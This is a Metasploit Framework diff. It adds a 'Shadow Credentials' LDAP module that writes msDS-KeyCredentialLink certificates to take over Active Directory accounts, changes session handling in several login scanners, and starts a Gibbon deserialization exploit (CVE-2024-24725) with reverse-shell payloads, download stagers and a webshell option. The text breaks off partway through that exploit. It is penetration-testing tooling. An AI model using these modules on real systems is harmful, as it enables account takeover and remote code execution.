# @param key_usage [Enumeration] From the KEY_USAGE constants in this class
def set_key(public_key, key_usage)
self.key_usage = key_usage
case self.key_usage
when KEY_USAGE_NGC
result = Rex::Proto::BcryptPublicKey.new
result.key_length = public_key.n.num_bits
n = self.class.int_to_bytes(public_key.n)
e = self.class.int_to_bytes(public_key.e)
result.exponent = e
result.modulus = n
result.prime1 = ''
result.prime2 = ''
self.raw_key_material = result.to_binary_s
else
# Unknown key type
return
end
sha256 = OpenSSL::Digest.new('SHA256')
self.key_id = sha256.digest(self.raw_key_material)
end
# Approximate time this key was last used
# @return [Time] Approximate time this key was last used
def key_approximate_last_logon_time
ft = key_approximate_last_logon_time_raw
RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time
end
# Set the approximate last logon time for this credential object
# @param time [Time] Last time this credential was used to log on
def key_approximate_last_logon_time=(time)
self.key_approximate_last_logon_time_raw = RubySMB::Field::FileTime.new(time).to_binary_s
end
# Approximate time this key was created
# @return [Time] Approximate time this key was created
def key_creation_time
ft = key_creation_time_raw
RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time
end
# Set the creation time for this credential object
# @param time [Time] Time that this key was created
def key_creation_time=(time)
self.key_creation_time_raw = RubySMB::Field::FileTime.new(time).to_binary_s
end
# Creates a MsAdtsKeyCredentialStruct, including calculating the value for key_hash
# @return [MsAdtsKeyCredentialStruct] A structured object able to be converted to binary and sent to a DCc
def to_struct
result = MsAdtsKeyCredentialStruct.new
result.version = KEY_CREDENTIAL_VERSION_2
add_entry(result, 3, self.raw_key_material)
add_entry(result, 4, [self.key_usage].pack('C'))
add_entry(result, 5, [self.key_source].pack('C'))
add_entry(result, 6, self.device_id.to_binary_s)
add_entry(result, 7, self.custom_key_information)
add_entry(result, 8, self.key_approximate_last_logon_time_raw)
add_entry(result, 9, self.key_creation_time_raw)
calculate_key_hash(result)
add_entry(result, 2, self.key_hash, insert_at_end: false)
add_entry(result, 1, self.key_id, insert_at_end: false)
result
end
# Construct a KeyCredential object from a MsAdtsKeyCredentialStruct (likely received from a Domain Controller)
# @param cred_struct [MsAdtsKeyCredentialStruct] Credential structure to convert
def self.from_struct(cred_struct)
obj = KeyCredential.new
obj.key_id = get_entry(cred_struct, 1)
obj.key_hash = get_entry(cred_struct, 2)
obj.raw_key_material = get_entry(cred_struct, 3)
obj.key_usage = get_entry(cred_struct, 4).unpack('C')[0]
obj.key_source = get_entry(cred_struct, 5).unpack('C')[0]
obj.device_id = Rex::Proto::MsDtyp::MsDtypGuid.read(get_entry(cred_struct, 6))
obj.custom_key_information = get_entry(cred_struct, 7)
ft = get_entry(cred_struct, 8)
obj.key_approximate_last_logon_time_raw = ft
ft = get_entry(cred_struct, 9)
obj.key_creation_time_raw = ft
obj
end
# Properties
attr_accessor :key_id # SHA256 hash of KeyMaterial
attr_accessor :key_hash # SHA256 hash of all entries after this entry
attr_accessor :raw_key_material # Key material of the credential, in bytes
attr_accessor :key_usage # Enumeration
attr_accessor :key_source # Always KEY_SOURCE_AD (0)
attr_accessor :device_id # [MsDtypGuid] Identifier for this credential
attr_accessor :custom_key_information # Two bytes is fine: Version and Flags
attr_accessor :key_approximate_last_logon_time_raw # Raw bytes for approximate time this key was last used
attr_accessor :key_creation_time_raw # Raw bytes for approximate time this key was created
# Find the entry with the given identifier
# @param struct [MsAdtsKeyCredentialStruct] Structure containing entries to search through
# @param struct [Integer] Identifier to search for, from https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a99409ea-4982-4f72-b7ef-8596013a36c7
# @return [String] The data associated with this identifier, or nil if not found
def self.get_entry(struct, identifier)
struct.credential_entries.each do |entry|
if entry.identifier == identifier
return entry.data
end
end
end
# Parse the object's raw key material field into a OpenSSL::PKey::RSA object
# @param obj [KeyCredential] The object for which to parse the key
def public_key
case key_usage
when KEY_USAGE_NGC
if raw_key_material.start_with?([Rex::Proto::BcryptPublicKey::MAGIC].pack('I'))
result = Rex::Proto::BcryptPublicKey.read(raw_key_material)
exponent = OpenSSL::ASN1::Integer.new(bytes_to_int(result.exponent))
modulus = OpenSSL::ASN1::Integer.new(bytes_to_int(result.modulus))
# OpenSSL's API has changed over time - constructing from DER has been consistent
data_sequence = OpenSSL::ASN1::Sequence([modulus, exponent])
OpenSSL::PKey::RSA.new(data_sequence.to_der)
end
end
end
private
# Create a MsAdtsKeyCredentialEntryStruct from the provided data, and insert it in to the provided structure
# @param struct [MsAdtsKeyCredentialStruct] Structure to insert the resulting entry into
# @param identifier [Integer] Identifier associated with this entry, from https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a99409ea-4982-4f72-b7ef-8596013a36c7
# @param data [String] The data to create an entry from
# @param insert_at_end [Boolean] Whether to insert the new entry at the end of the credential_entries; otherwise will insert at start
def add_entry(struct, identifier, data, insert_at_end: true)
entry = MsAdtsKeyCredentialEntryStruct.new
entry.identifier = identifier
entry.data = data
entry.struct_length = data.length
if insert_at_end
struct.credential_entries.insert(struct.credential_entries.length, entry)
else # Insert at start
struct.credential_entries.insert(0, entry)
end
end
def self.int_to_bytes(num)
str = num.to_s(16).rjust(2, '0')
[str].pack('H*')
end
def bytes_to_int(num)
num.unpack('H*')[0].to_i(16)
end
# Sets self.key_hash based on the credential_entries value in the provided parameter
# @param struct [MsAdtsKeyCredentialStruct] Its credential_entries value should have only those required to calculate the key_hash value (no key_id or key_hash)
def calculate_key_hash(struct)
sha256 = OpenSSL::Digest.new('SHA256')
self.key_hash = sha256.digest(struct.credential_entries.to_binary_s)
end
end
end
@@ -0,0 +1,14 @@
# -*- coding: binary -*-
require 'bindata'
module Rex::Proto::MsAdts
class MsAdtsKeyCredentialEntryStruct < BinData::Record
endian :little
uint16 :struct_length
uint8 :identifier
string :data, length: :struct_length
end
end
+14
View File
@@ -0,0 +1,14 @@
# -*- coding: binary -*-
require 'bindata'
require 'rex/proto/ms_adts/ms_adts_key_credential_entry_struct'
module Rex::Proto::MsAdts
class MsAdtsKeyCredentialStruct < BinData::Record
endian :little
uint32 :version
array :credential_entries, type: :ms_adts_key_credential_entry_struct, read_until: :eof
end
end
+1
View File
@@ -68,6 +68,7 @@ module Rex
@rhost = rhost
@rport = rport
@proxies = proxies
@current_database = ''
end
#
+61
View File
@@ -28,6 +28,67 @@ module Rex
# Current database is stored as an array under the type 1 key.
session_track.fetch(1, ['']).first
end
# List of supported MySQL platforms & architectures:
# https://www.mysql.com/support/supportedplatforms/database.html
def map_compile_os_to_platform(compile_os)
return Msf::Platform::Unknown.realname if compile_os.blank?
compile_os = compile_os.downcase.encode(::Encoding::BINARY)
if compile_os.match?('linux')
platform = Msf::Platform::Linux
elsif compile_os.match?('unix')
platform = Msf::Platform::Unix
elsif compile_os.match?(/(darwin|mac|osx)/)
platform = Msf::Platform::OSX
elsif compile_os.match?('win')
platform = Msf::Platform::Windows
elsif compile_os.match?('solaris')
platform = Msf::Platform::Solaris
else
platform = Msf::Platform::Unknown
end
platform.realname
end
def map_compile_arch_to_architecture(compile_arch)
return '' if compile_arch.blank?
compile_arch = compile_arch.downcase.encode(::Encoding::BINARY)
if compile_arch.match?('sparc')
if compile_arch.include?('64')
arch = ARCH_SPARC64
else
arch = ARCH_SPARC
end
elsif compile_arch.match?('arm')
arch = ARCH_AARCH64
elsif compile_arch.match?('64')
arch = ARCH_X86_64
elsif compile_arch.match?('86') || compile_arch.match?('i686')
arch = ARCH_X86
else
arch = ''
end
arch
end
# @return [Hash] Detect the platform and architecture of the MySQL server:
# * :arch [String] The server architecture.
# * :platform [String] The server platform.
def detect_platform_and_arch
result = {}
server_vars = query("show variables where variable_name in ('version_compile_machine', 'version_compile_os')").entries.to_h
result[:arch] = map_compile_arch_to_architecture(server_vars['version_compile_machine'])
result[:platform] = map_compile_os_to_platform(server_vars['version_compile_os'])
result
end
end
end
end
+16 -1
View File
@@ -19,11 +19,13 @@ class SimpleClient
DEFAULT_VERSIONS = [1, 2, 3].freeze
# Public accessors
attr_accessor :last_error, :server_max_buffer_size, :address, :port
attr_accessor :last_error, :server_max_buffer_size
# Private accessors
attr_accessor :socket, :client, :direct, :shares, :last_share, :versions
attr_reader :address, :port
# Pass the socket object and a boolean indicating whether the socket is netbios or cifs
def initialize(socket, direct = false, versions = DEFAULT_VERSIONS, always_encrypt: true, backend: nil, client: nil)
self.socket = socket
@@ -258,6 +260,19 @@ class SimpleClient
self.client.negotiated_smb_version || -1
end
alias peerhost address
def peerport
port.to_i
end
def peerinfo
"#{peerhost}:#{peerport}"
end
private
attr_writer :address, :port
end
end
end
+7 -7
View File
@@ -10,19 +10,19 @@ module Rex::UserAgent
#
COMMON_AGENTS = [
# Chrome
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
# Edge
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.2420.65',
# Safari
'Mozilla/5.0 (iPad; CPU OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15',
'Mozilla/5.0 (iPad; CPU OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15',
# Firefox
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.4; rv:124.0) Gecko/20100101 Firefox/124.0'
]
#
@@ -38,7 +38,8 @@ class MetasploitModule < Msf::Auxiliary
[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
],
'DefaultAction' => 'GET_TGT'
'DefaultAction' => 'GET_TGT',
'AKA' => ['PKINIT']
)
)
@@ -0,0 +1,266 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::Auxiliary::Report
ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Shadow Credentials',
'Description' => %q{
This module can read and write the necessary LDAP attributes to configure a particular account with a
Key Credential Link. This allows weaponising write access to a user account by adding a certificate
that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
must have write access to the target object (the object specified in TARGET_USER).
},
'Author' => [
'Elad Shamir', # Original research
'smashery' # module author
],
'References' => [
['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials']
],
'License' => MSF_LICENSE,
'Actions' => [
['FLUSH', { 'Description' => 'Delete all certificate entries' }],
['LIST', { 'Description' => 'Read all credentials associated with the account' }],
['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],
['ADD', { 'Description' => 'Add a credential to the account' }]
],
'DefaultAction' => 'LIST',
'Notes' => {
'Stability' => [],
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes
'Reliability' => []
}
)
)
register_options([
OptString.new('TARGET_USER', [ true, 'The target to write to' ]),
OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),
])
end
def fail_with_ldap_error(message)
ldap_result = @ldap.get_operation_result.table
return if ldap_result[:code] == 0
print_error(message)
if ldap_result[:code] == 16
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')
else
validate_query_result!(ldap_result)
end
end
def warn_on_likely_user_error
ldap_result = @ldap.get_operation_result.table
if ldap_result[:code] == 50
if (datastore['USERNAME'] == datastore['TARGET_USER'] ||
datastore['USERNAME'] == datastore['TARGET_USER'] + '$') &&
datastore['USERNAME'].end_with?('$') &&
['add', 'remove'].include?(action.name.downcase)
print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$')
print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
end
end
end
def ldap_get(filter, attributes: [])
raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first
return nil unless raw_obj
obj = {}
obj['dn'] = raw_obj['dn'].first.to_s
unless raw_obj['sAMAccountName'].empty?
obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
end
unless raw_obj['ObjectSid'].empty?
obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)
end
unless raw_obj[ATTRIBUTE].empty?
result = []
raw_obj[ATTRIBUTE].each do |entry|
dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)
struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)
result.append(Rex::Proto::MsAdts::KeyCredential.from_struct(struct))
end
obj[ATTRIBUTE] = result
end
obj
end
def run
ldap_connect do |ldap|
validate_bind_success!(ldap)
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
print_warning("Couldn't discover base DN!")
end
end
@ldap = ldap
begin
target_user = datastore['TARGET_USER']
obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
if obj.nil? && !target_user.end_with?('$')
obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
end
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_user}") unless obj
send("action_#{action.name.downcase}", obj)
rescue ::IOError => e
fail_with(Failure::UnexpectedReply, e.message)
end
end
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
end
def action_list(obj)
credential_entries = obj[ATTRIBUTE]
if credential_entries.nil?
print_status("The #{ATTRIBUTE} field is empty.")
return
end
print_status('Existing credentials:')
credential_entries.each do |credential|
print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")
end
end
def action_remove(obj)
credential_entries = obj[ATTRIBUTE]
if credential_entries.nil? || credential_entries.empty?
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
return
end
length_before = credential_entries.length
credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }
if credential_entries.length == length_before
print_status('No matching entries found - check device ID')
else
update_list = credentials_to_ldap_format(credential_entries, obj['dn'])
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)
warn_on_likely_user_error
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
end
print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")
end
end
def action_flush(obj)
unless obj[ATTRIBUTE]
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
return
end
unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
end
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
end
def action_add(obj)
credential_entries = obj[ATTRIBUTE]
if credential_entries.nil?
credential_entries = []
end
key, cert = generate_key_and_cert(datastore['TARGET_USER'])
credential = Rex::Proto::MsAdts::KeyCredential.new
credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
now = ::Time.now
credential.key_approximate_last_logon_time = now
credential.key_creation_time = now
credential_entries.append(credential)
update_list = credentials_to_ldap_format(credential_entries, obj['dn'])
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)
warn_on_likely_user_error
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
end
pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
store_cert(pkcs12)
print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
end
def store_cert(pkcs12)
service_data = ldap_service_data
credential_data = {
**service_data,
address: service_data[:host],
port: rport,
protocol: service_data[:proto],
service_name: service_data[:name],
workspace_id: myworkspace_id,
username: datastore['TARGET_USER'],
private_type: :pkcs12,
# pkcs12 is a binary format, but for persisting we Base64 encode it
private_data: Base64.strict_encode64(pkcs12.to_der),
origin_type: :service,
module_fullname: fullname
}
create_credential(credential_data)
info = "#{datastore['DOMAIN']}\\#{datastore['TARGET_USER']} Certificate"
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
print_status("Certificate stored at: #{stored_path}")
end
def ldap_service_data
{
host: rhost,
port: rport,
proto: 'tcp',
name: 'ldap',
info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"
}
end
def credentials_to_ldap_format(entries, dn)
entries.map do |entry|
struct = entry.to_struct
dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)
dn_binary.encode
end
end
def generate_key_and_cert(subject)
key = OpenSSL::PKey::RSA.new(2048)
cert = OpenSSL::X509::Certificate.new
cert.public_key = key.public_key
cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
yr = 24 * 3600 * 365
cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
cert.sign(key, OpenSSL::Digest.new('SHA256'))
[key, cert]
end
end
+14 -12
View File
@@ -36,7 +36,8 @@ class MetasploitModule < Msf::Auxiliary
)
register_options([
Opt::Proxies,
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false])
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])
])
options_to_deregister = %w[PASSWORD_SPRAY]
@@ -132,12 +133,11 @@ class MetasploitModule < Msf::Auxiliary
if create_session?
begin
mssql_client = result.proof
successful_sessions << session_setup(result, mssql_client)
successful_sessions << session_setup(result)
rescue ::StandardError => e
elog('Failed: ', error: e)
print_error(e)
result.proof.conn.close if result.proof&.conn
elog('Failed to setup the session', error: e)
print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"
result.connection.close unless result.connection.nil?
end
end
else
@@ -148,11 +148,13 @@ class MetasploitModule < Msf::Auxiliary
{ successful_logins: successful_logins, successful_sessions: successful_sessions }
end
def session_setup(result, client)
return unless (result && client)
rstream = client.sock
my_session = Msf::Sessions::MSSQL.new(rstream, { client: client })
merging = {
# @param [Metasploit::Framework::LoginScanner::Result] result
# @return [Msf::Sessions::MSSQL]
def session_setup(result)
return unless (result.connection && result.proof)
my_session = Msf::Sessions::MSSQL.new(result.connection, { client: result.proof })
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
@@ -160,6 +162,6 @@ class MetasploitModule < Msf::Auxiliary
'PASSWORD' => result.credential.private
}
start_session(self, nil, merging, false, my_session.rstream, my_session)
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
end
end
+10 -13
View File
@@ -36,6 +36,7 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
Opt::Proxies,
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])
])
options_to_deregister = %w[PASSWORD_SPRAY]
@@ -120,12 +121,11 @@ class MetasploitModule < Msf::Auxiliary
if create_session?
begin
mysql_client = result.proof
successful_sessions << session_setup(result, mysql_client)
successful_sessions << session_setup(result)
rescue ::StandardError => e
elog('Failed: ', error: e)
print_error(e)
result.proof.conn.close if result.proof&.conn
elog('Failed to setup the session', error: e)
print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"
result.connection.close unless result.connection.nil?
end
end
else
@@ -195,15 +195,12 @@ class MetasploitModule < Msf::Auxiliary
end
# @param [Metasploit::Framework::LoginScanner::Result] result
# @param [::Rex::Proto::MySQL::Client] client
# @return [Msf::Sessions::MySQL]
def session_setup(result, client)
return unless (result && client)
def session_setup(result)
return unless (result.connection && result.proof)
rstream = client.socket || client.io
my_session = Msf::Sessions::MySQL.new(rstream, { client: client })
merging = {
my_session = Msf::Sessions::MySQL.new(result.connection, { client: result.proof, **result.proof.detect_platform_and_arch })
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
@@ -211,6 +208,6 @@ class MetasploitModule < Msf::Auxiliary
'PASSWORD' => result.credential.private
}
start_session(self, nil, merging, false, my_session.rstream, my_session)
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
end
end
@@ -45,6 +45,7 @@ class MetasploitModule < Msf::Auxiliary
File.join(Msf::Config.data_directory, "wordlists", "postgres_default_user.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.data_directory, "wordlists", "postgres_default_pass.txt") ]),
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])
])
options_to_deregister = %w[SQL PASSWORD_SPRAY]
@@ -116,12 +117,11 @@ class MetasploitModule < Msf::Auxiliary
if create_session?
begin
postgresql_client = result.proof
successful_sessions << session_setup(result, postgresql_client)
successful_sessions << session_setup(result)
rescue ::StandardError => e
elog('Failed: ', error: e)
print_error(e)
result.proof.conn.close if result.proof&.conn
elog('Failed to setup the session', error: e)
print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"
result.connection.close unless result.connection.nil?
end
end
else
@@ -142,12 +142,13 @@ class MetasploitModule < Msf::Auxiliary
datastore['RPORT']
end
def session_setup(result, client)
return unless (result && client)
# @param [Metasploit::Framework::LoginScanner::Result] result
# @return [Msf::Sessions::PostgreSQL]
def session_setup(result)
return unless (result.connection && result.proof)
rstream = client.conn
my_session = Msf::Sessions::PostgreSQL.new(rstream, { client: client })
merging = {
my_session = Msf::Sessions::PostgreSQL.new(result.connection, { client: result.proof })
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
@@ -155,6 +156,6 @@ class MetasploitModule < Msf::Auxiliary
'PASSWORD' => result.credential.private
}
start_session(self, nil, merging, false, my_session.rstream, my_session)
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
end
end
+9 -17
View File
@@ -61,7 +61,8 @@ class MetasploitModule < Msf::Auxiliary
OptBool.new('PRESERVE_DOMAINS', [ false, 'Respect a username that contains a domain name.', true ]),
OptBool.new('RECORD_GUEST', [ false, 'Record guest-privileged random logins to the database', false ]),
OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', false]),
OptBool.new('DETECT_ANY_DOMAIN', [false, 'Detect if domain is required for the specified user', false])
OptBool.new('DETECT_ANY_DOMAIN', [false, 'Detect if domain is required for the specified user', false]),
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])
]
)
@@ -191,11 +192,11 @@ class MetasploitModule < Msf::Auxiliary
report_creds(ip, rport, result)
if create_session?
begin
smb_client = result.proof
successful_sessions << session_setup(result, smb_client)
rescue StandardError => e
successful_sessions << session_setup(result)
rescue ::StandardError => e
elog('Failed to setup the session', error: e)
print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"
result.connection.close unless result.connection.nil?
end
end
:next_user
@@ -296,20 +297,11 @@ class MetasploitModule < Msf::Auxiliary
end
# @param [Metasploit::Framework::LoginScanner::Result] result
# @param [RubySMB::Client] client
# @return [Msf::Sessions::SMB]
def session_setup(result, client)
return unless client
# Create a new session
rstream = client.dispatcher.tcp_socket
sess = Msf::Sessions::SMB.new(
rstream,
{
client: client
}
)
def session_setup(result)
return unless (result.connection && result.proof)
my_session = Msf::Sessions::SMB.new(result.connection, { client: result.proof })
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
@@ -318,7 +310,7 @@ class MetasploitModule < Msf::Auxiliary
'PASSWORD' => result.credential.private
}
start_session(self, nil, merge_me, false, sess.rstream, sess)
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
end
end
@@ -30,6 +30,7 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
Opt::RPORT(161),
OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]),
OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]),
OptString.new('PASSWORD', [ false, 'The password to test' ]),
OptPath.new('PASS_FILE', [ false, "File containing communities, one per line",
@@ -51,6 +52,7 @@ class MetasploitModule < Msf::Auxiliary
scanner = Metasploit::Framework::LoginScanner::SNMP.new(
host: ip,
port: rport,
protocol: datastore['PROTOCOL'],
cred_details: collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
@@ -91,6 +93,10 @@ class MetasploitModule < Msf::Auxiliary
datastore['RPORT']
end
def protocol
datastore['PROTOCOL']
end
@@ -0,0 +1,251 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gibbon School Platform Authenticated PHP Deserialization Vulnerability',
'Description' => %q{
A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower
allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a
POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
to sensitive information.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'Ali Maharramli', # SecondX.io Research Team - discovery of the vulnerability
'Fikrat Guliev', # SecondX.io Research Team - discovery of the vulnerability
'Islam Rzayev' # SecondX.io Research Team - discovery of the vulnerability
],
'References' => [
['CVE', '2024-24725'],
['URL', 'https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725'],
['PACKETSTORM', '177635'],
['EDB', '51903']
],
'DisclosureDate' => '2024-03-18',
'Platform' => ['php', 'unix', 'linux', 'win'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => false,
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],
'Linemax' => 16384,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_dropper,
'Linemax' => 16384,
'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The Gibbon online school platform endpoint URL', '/' ]),
OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),
OptString.new('USERNAME', [true, 'Gibbon username to login, typically an e-mail address']),
